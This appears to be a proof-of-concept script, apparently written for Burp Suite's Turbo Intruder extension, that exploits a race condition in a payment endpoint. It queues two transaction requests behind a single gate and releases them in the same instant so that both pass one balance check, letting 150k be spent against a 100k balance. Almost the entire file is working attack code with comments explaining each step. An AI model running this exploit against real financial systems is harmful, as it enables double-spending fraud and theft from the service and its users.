Race_Condition_Exploit.py

# SYNTROPY SECURITY - RACE CONDITION PoC (Live)
# Context: Double Spending Attack (Spending 150k with only 100k balance)

def queueRequests(target, wordlists):
    # The 'gate' mechanism ensures both requests hit the server in the same millisecond
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False)

    # 1. Richard Hendricks (1766444981)
    # 2. Erlich Bachman    (1766445005)
    victims = ['1766444981', '1766445005']

    # Queue both transactions behind the 'race1' gate
    for victim in victims:
        # This replaces '%s' in the top window with the IDs above
        engine.queue(target.req, victim, gate='race1')

    # OPEN THE FLOODGATES
    # This sends both requests simultaneously to bypass the balance check
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    # We want to see '200 OK' for both.
    table.add(req)